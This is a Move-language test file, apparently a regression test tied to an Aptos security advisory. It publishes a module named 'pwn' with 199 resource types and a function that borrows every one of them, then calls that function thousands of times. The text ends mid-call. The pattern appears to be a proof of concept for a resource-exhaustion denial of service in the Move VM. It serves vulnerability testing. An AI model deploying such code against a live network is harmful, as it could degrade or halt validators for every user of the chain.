// See also: github.com/aptos-labs/aptos-core/security/advisories/GHSA-7v29-m9hj-jxjf
//# publish
module 0x42::pwn {
    struct R1 has key {f:u8}
    struct R2 has key {f:u8}
    struct R3 has key {f:u8}
    struct R4 has key {f:u8}
    struct R5 has key {f:u8}
    struct R6 has key {f:u8}
    struct R7 has key {f:u8}
    struct R8 has key {f:u8}
    struct R9 has key {f:u8}
    struct R10 has key {f:u8}
    struct R11 has key {f:u8}
    struct R12 has key {f:u8}
    struct R13 has key {f:u8}
    struct R14 has key {f:u8}
    struct R15 has key {f:u8}
    struct R16 has key {f:u8}
    struct R17 has key {f:u8}
    struct R18 has key {f:u8}
    struct R19 has key {f:u8}
    struct R20 has key {f:u8}
    struct R21 has key {f:u8}
    struct R22 has key {f:u8}
    struct R23 has key {f:u8}
    struct R24 has key {f:u8}
    struct R25 has key {f:u8}
    struct R26 has key {f:u8}
    struct R27 has key {f:u8}
    struct R28 has key {f:u8}
    struct R29 has key {f:u8}
    struct R30 has key {f:u8}
    struct R31 has key {f:u8}
    struct R32 has key {f:u8}
    struct R33 has key {f:u8}
    struct R34 has key {f:u8}
    struct R35 has key {f:u8}
    struct R36 has key {f:u8}
    struct R37 has key {f:u8}
    struct R38 has key {f:u8}
    struct R39 has key {f:u8}
    struct R40 has key {f:u8}
    struct R41 has key {f:u8}
    struct R42 has key {f:u8}
    struct R43 has key {f:u8}
    struct R44 has key {f:u8}
    struct R45 has key {f:u8}
    struct R46 has key {f:u8}
    struct R47 has key {f:u8}
    struct R48 has key {f:u8}
    struct R49 has key {f:u8}
    struct R50 has key {f:u8}
    struct R51 has key {f:u8}
    struct R52 has key {f:u8}
    struct R53 has key {f:u8}
    struct R54 has key {f:u8}
    struct R55 has key {f:u8}
    struct R56 has key {f:u8}
    struct R57 has key {f:u8}
    struct R58 has key {f:u8}
    struct R59 has key {f:u8}
    struct R60 has key {f:u8}
    struct R61 has key {f:u8}
    struct R62 has key {f:u8}
    struct R63 has key {f:u8}
    struct R64 has key {f:u8}
    struct R65 has key {f:u8}
    struct R66 has key {f:u8}
    struct R67 has key {f:u8}
    struct R68 has key {f:u8}
    struct R69 has key {f:u8}
    struct R70 has key {f:u8}
    struct R71 has key {f:u8}
    struct R72 has key {f:u8}
    struct R73 has key {f:u8}
    struct R74 has key {f:u8}
    struct R75 has key {f:u8}
    struct R76 has key {f:u8}
    struct R77 has key {f:u8}
    struct R78 has key {f:u8}
    struct R79 has key {f:u8}
    struct R80 has key {f:u8}
    struct R81 has key {f:u8}
    struct R82 has key {f:u8}
    struct R83 has key {f:u8}
    struct R84 has key {f:u8}
    struct R85 has key {f:u8}
    struct R86 has key {f:u8}
    struct R87 has key {f:u8}
    struct R88 has key {f:u8}
    struct R89 has key {f:u8}
    struct R90 has key {f:u8}
    struct R91 has key {f:u8}
    struct R92 has key {f:u8}
    struct R93 has key {f:u8}
    struct R94 has key {f:u8}
    struct R95 has key {f:u8}
    struct R96 has key {f:u8}
    struct R97 has key {f:u8}
    struct R98 has key {f:u8}
    struct R99 has key {f:u8}
    struct R100 has key {f:u8}
    struct R101 has key {f:u8}
    struct R102 has key {f:u8}
    struct R103 has key {f:u8}
    struct R104 has key {f:u8}
    struct R105 has key {f:u8}
    struct R106 has key {f:u8}
    struct R107 has key {f:u8}
    struct R108 has key {f:u8}
    struct R109 has key {f:u8}
    struct R110 has key {f:u8}
    struct R111 has key {f:u8}
    struct R112 has key {f:u8}
    struct R113 has key {f:u8}
    struct R114 has key {f:u8}
    struct R115 has key {f:u8}
    struct R116 has key {f:u8}
    struct R117 has key {f:u8}
    struct R118 has key {f:u8}
    struct R119 has key {f:u8}
    struct R120 has key {f:u8}
    struct R121 has key {f:u8}
    struct R122 has key {f:u8}
    struct R123 has key {f:u8}
    struct R124 has key {f:u8}
    struct R125 has key {f:u8}
    struct R126 has key {f:u8}
    struct R127 has key {f:u8}
    struct R128 has key {f:u8}
    struct R129 has key {f:u8}
    struct R130 has key {f:u8}
    struct R131 has key {f:u8}
    struct R132 has key {f:u8}
    struct R133 has key {f:u8}
    struct R134 has key {f:u8}
    struct R135 has key {f:u8}
    struct R136 has key {f:u8}
    struct R137 has key {f:u8}
    struct R138 has key {f:u8}
    struct R139 has key {f:u8}
    struct R140 has key {f:u8}
    struct R141 has key {f:u8}
    struct R142 has key {f:u8}
    struct R143 has key {f:u8}
    struct R144 has key {f:u8}
    struct R145 has key {f:u8}
    struct R146 has key {f:u8}
    struct R147 has key {f:u8}
    struct R148 has key {f:u8}
    struct R149 has key {f:u8}
    struct R150 has key {f:u8}
    struct R151 has key {f:u8}
    struct R152 has key {f:u8}
    struct R153 has key {f:u8}
    struct R154 has key {f:u8}
    struct R155 has key {f:u8}
    struct R156 has key {f:u8}
    struct R157 has key {f:u8}
    struct R158 has key {f:u8}
    struct R159 has key {f:u8}
    struct R160 has key {f:u8}
    struct R161 has key {f:u8}
    struct R162 has key {f:u8}
    struct R163 has key {f:u8}
    struct R164 has key {f:u8}
    struct R165 has key {f:u8}
    struct R166 has key {f:u8}
    struct R167 has key {f:u8}
    struct R168 has key {f:u8}
    struct R169 has key {f:u8}
    struct R170 has key {f:u8}
    struct R171 has key {f:u8}
    struct R172 has key {f:u8}
    struct R173 has key {f:u8}
    struct R174 has key {f:u8}
    struct R175 has key {f:u8}
    struct R176 has key {f:u8}
    struct R177 has key {f:u8}
    struct R178 has key {f:u8}
    struct R179 has key {f:u8}
    struct R180 has key {f:u8}
    struct R181 has key {f:u8}
    struct R182 has key {f:u8}
    struct R183 has key {f:u8}
    struct R184 has key {f:u8}
    struct R185 has key {f:u8}
    struct R186 has key {f:u8}
    struct R187 has key {f:u8}
    struct R188 has key {f:u8}
    struct R189 has key {f:u8}
    struct R190 has key {f:u8}
    struct R191 has key {f:u8}
    struct R192 has key {f:u8}
    struct R193 has key {f:u8}
    struct R194 has key {f:u8}
    struct R195 has key {f:u8}
    struct R196 has key {f:u8}
    struct R197 has key {f:u8}
    struct R198 has key {f:u8}
    struct R199 has key {f:u8}

    const ADDRESS: address = @0x0;

    public fun get_address(): address {
        ADDRESS
    }

    public fun f() acquires R1, R2, R3, R4, R5, R6, R7, R8, R9, R10, R11, R12, R13, R14, R15, R16, R17, R18, R19, R20, R21, R22, R23, R24, R25, R26, R27, R28, R29, R30, R31, R32, R33, R34, R35, R36, R37, R38, R39, R40, R41, R42, R43, R44, R45, R46, R47, R48, R49, R50, R51, R52, R53, R54, R55, R56, R57, R58, R59, R60, R61, R62, R63, R64, R65, R66, R67, R68, R69, R70, R71, R72, R73, R74, R75, R76, R77, R78, R79, R80, R81, R82, R83, R84, R85, R86, R87, R88, R89, R90, R91, R92, R93, R94, R95, R96, R97, R98, R99, R100, R101, R102, R103, R104, R105, R106, R107, R108, R109, R110, R111, R112, R113, R114, R115, R116, R117, R118, R119, R120, R121, R122, R123, R124, R125, R126, R127, R128, R129, R130, R131, R132, R133, R134, R135, R136, R137, R138, R139, R140, R141, R142, R143, R144, R145, R146, R147, R148, R149, R150, R151, R152, R153, R154, R155, R156, R157, R158, R159, R160, R161, R162, R163, R164, R165, R166, R167, R168, R169, R170, R171, R172, R173, R174, R175, R176, R177, R178, R179, R180, R181, R182, R183, R184, R185, R186, R187, R188, R189, R190, R191, R192, R193, R194, R195, R196, R197, R198, R199 {
        let a = get_address();
        borrow_global<R1>(a).f;
        borrow_global<R2>(a).f;
        borrow_global<R3>(a).f;
        borrow_global<R4>(a).f;
        borrow_global<R5>(a).f;
        borrow_global<R6>(a).f;
        borrow_global<R7>(a).f;
        borrow_global<R8>(a).f;
        borrow_global<R9>(a).f;
        borrow_global<R10>(a).f;
        borrow_global<R11>(a).f;
        borrow_global<R12>(a).f;
        borrow_global<R13>(a).f;
        borrow_global<R14>(a).f;
        borrow_global<R15>(a).f;
        borrow_global<R16>(a).f;
        borrow_global<R17>(a).f;
        borrow_global<R18>(a).f;
        borrow_global<R19>(a).f;
        borrow_global<R20>(a).f;
        borrow_global<R21>(a).f;
        borrow_global<R22>(a).f;
        borrow_global<R23>(a).f;
        borrow_global<R24>(a).f;
        borrow_global<R25>(a).f;
        borrow_global<R26>(a).f;
        borrow_global<R27>(a).f;
        borrow_global<R28>(a).f;
        borrow_global<R29>(a).f;
        borrow_global<R30>(a).f;
        borrow_global<R31>(a).f;
        borrow_global<R32>(a).f;
        borrow_global<R33>(a).f;
        borrow_global<R34>(a).f;
        borrow_global<R35>(a).f;
        borrow_global<R36>(a).f;
        borrow_global<R37>(a).f;
        borrow_global<R38>(a).f;
        borrow_global<R39>(a).f;
        borrow_global<R40>(a).f;
        borrow_global<R41>(a).f;
        borrow_global<R42>(a).f;
        borrow_global<R43>(a).f;
        borrow_global<R44>(a).f;
        borrow_global<R45>(a).f;
        borrow_global<R46>(a).f;
        borrow_global<R47>(a).f;
        borrow_global<R48>(a).f;
        borrow_global<R49>(a).f;
        borrow_global<R50>(a).f;
        borrow_global<R51>(a).f;
        borrow_global<R52>(a).f;
        borrow_global<R53>(a).f;
        borrow_global<R54>(a).f;
        borrow_global<R55>(a).f;
        borrow_global<R56>(a).f;
        borrow_global<R57>(a).f;
        borrow_global<R58>(a).f;
        borrow_global<R59>(a).f;
        borrow_global<R60>(a).f;
        borrow_global<R61>(a).f;
        borrow_global<R62>(a).f;
        borrow_global<R63>(a).f;
        borrow_global<R64>(a).f;
        borrow_global<R65>(a).f;
        borrow_global<R66>(a).f;
        borrow_global<R67>(a).f;
        borrow_global<R68>(a).f;
        borrow_global<R69>(a).f;
        borrow_global<R70>(a).f;
        borrow_global<R71>(a).f;
        borrow_global<R72>(a).f;
        borrow_global<R73>(a).f;
        borrow_global<R74>(a).f;
        borrow_global<R75>(a).f;
        borrow_global<R76>(a).f;
        borrow_global<R77>(a).f;
        borrow_global<R78>(a).f;
        borrow_global<R79>(a).f;
        borrow_global<R80>(a).f;
        borrow_global<R81>(a).f;
        borrow_global<R82>(a).f;
        borrow_global<R83>(a).f;
        borrow_global<R84>(a).f;
        borrow_global<R85>(a).f;
        borrow_global<R86>(a).f;
        borrow_global<R87>(a).f;
        borrow_global<R88>(a).f;
        borrow_global<R89>(a).f;
        borrow_global<R90>(a).f;
        borrow_global<R91>(a).f;
        borrow_global<R92>(a).f;
        borrow_global<R93>(a).f;
        borrow_global<R94>(a).f;
        borrow_global<R95>(a).f;
        borrow_global<R96>(a).f;
        borrow_global<R97>(a).f;
        borrow_global<R98>(a).f;
        borrow_global<R99>(a).f;
        borrow_global<R100>(a).f;
        borrow_global<R101>(a).f;
        borrow_global<R102>(a).f;
        borrow_global<R103>(a).f;
        borrow_global<R104>(a).f;
        borrow_global<R105>(a).f;
        borrow_global<R106>(a).f;
        borrow_global<R107>(a).f;
        borrow_global<R108>(a).f;
        borrow_global<R109>(a).f;
        borrow_global<R110>(a).f;
        borrow_global<R111>(a).f;
        borrow_global<R112>(a).f;
        borrow_global<R113>(a).f;
        borrow_global<R114>(a).f;
        borrow_global<R115>(a).f;
        borrow_global<R116>(a).f;
        borrow_global<R117>(a).f;
        borrow_global<R118>(a).f;
        borrow_global<R119>(a).f;
        borrow_global<R120>(a).f;
        borrow_global<R121>(a).f;
        borrow_global<R122>(a).f;
        borrow_global<R123>(a).f;
        borrow_global<R124>(a).f;
        borrow_global<R125>(a).f;
        borrow_global<R126>(a).f;
        borrow_global<R127>(a).f;
        borrow_global<R128>(a).f;
        borrow_global<R129>(a).f;
        borrow_global<R130>(a).f;
        borrow_global<R131>(a).f;
        borrow_global<R132>(a).f;
        borrow_global<R133>(a).f;
        borrow_global<R134>(a).f;
        borrow_global<R135>(a).f;
        borrow_global<R136>(a).f;
        borrow_global<R137>(a).f;
        borrow_global<R138>(a).f;
        borrow_global<R139>(a).f;
        borrow_global<R140>(a).f;
        borrow_global<R141>(a).f;
        borrow_global<R142>(a).f;
        borrow_global<R143>(a).f;
        borrow_global<R144>(a).f;
        borrow_global<R145>(a).f;
        borrow_global<R146>(a).f;
        borrow_global<R147>(a).f;
        borrow_global<R148>(a).f;
        borrow_global<R149>(a).f;
        borrow_global<R150>(a).f;
        borrow_global<R151>(a).f;
        borrow_global<R152>(a).f;
        borrow_global<R153>(a).f;
        borrow_global<R154>(a).f;
        borrow_global<R155>(a).f;
        borrow_global<R156>(a).f;
        borrow_global<R157>(a).f;
        borrow_global<R158>(a).f;
        borrow_global<R159>(a).f;
        borrow_global<R160>(a).f;
        borrow_global<R161>(a).f;
        borrow_global<R162>(a).f;
        borrow_global<R163>(a).f;
        borrow_global<R164>(a).f;
        borrow_global<R165>(a).f;
        borrow_global<R166>(a).f;
        borrow_global<R167>(a).f;
        borrow_global<R168>(a).f;
        borrow_global<R169>(a).f;
        borrow_global<R170>(a).f;
        borrow_global<R171>(a).f;
        borrow_global<R172>(a).f;
        borrow_global<R173>(a).f;
        borrow_global<R174>(a).f;
        borrow_global<R175>(a).f;
        borrow_global<R176>(a).f;
        borrow_global<R177>(a).f;
        borrow_global<R178>(a).f;
        borrow_global<R179>(a).f;
        borrow_global<R180>(a).f;
        borrow_global<R181>(a).f;
        borrow_global<R182>(a).f;
        borrow_global<R183>(a).f;
        borrow_global<R184>(a).f;
        borrow_global<R185>(a).f;
        borrow_global<R186>(a).f;
        borrow_global<R187>(a).f;
        borrow_global<R188>(a).f;
        borrow_global<R189>(a).f;
        borrow_global<R190>(a).f;
        borrow_global<R191>(a).f;
        borrow_global<R192>(a).f;
        borrow_global<R193>(a).f;
        borrow_global<R194>(a).f;
        borrow_global<R195>(a).f;
        borrow_global<R196>(a).f;
        borrow_global<R197>(a).f;
        borrow_global<R198>(a).f;
        borrow_global<R199>(a).f;
    }

    public fun pwn() acquires R1, R2, R3, R4, R5, R6, R7, R8, R9, R10, R11, R12, R13, R14, R15, R16, R17, R18, R19, R20, R21, R22, R23, R24, R25, R26, R27, R28, R29, R30, R31, R32, R33, R34, R35, R36, R37, R38, R39, R40, R41, R42, R43, R44, R45, R46, R47, R48, R49, R50, R51, R52, R53, R54, R55, R56, R57, R58, R59, R60, R61, R62, R63, R64, R65, R66, R67, R68, R69, R70, R71, R72, R73, R74, R75, R76, R77, R78, R79, R80, R81, R82, R83, R84, R85, R86, R87, R88, R89, R90, R91, R92, R93, R94, R95, R96, R97, R98, R99, R100, R101, R102, R103, R104, R105, R106, R107, R108, R109, R110, R111, R112, R113, R114, R115, R116, R117, R118, R119, R120, R121, R122, R123, R124, R125, R126, R127, R128, R129, R130, R131, R132, R133, R134, R135, R136, R137, R138, R139, R140, R141, R142, R143, R144, R145, R146, R147, R148, R149, R150, R151, R152, R153, R154, R155, R156, R157, R158, R159, R160, R161, R162, R163, R164, R165, R166, R167, R168, R169, R170, R171, R172, R173, R174, R175, R176, R177, R178, R179, R180, R181, R182, R183, R184, R185, R186, R187, R188, R189, R190, R191, R192, R193, R194, R195, R196, R197, R198, R199 {
        f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f()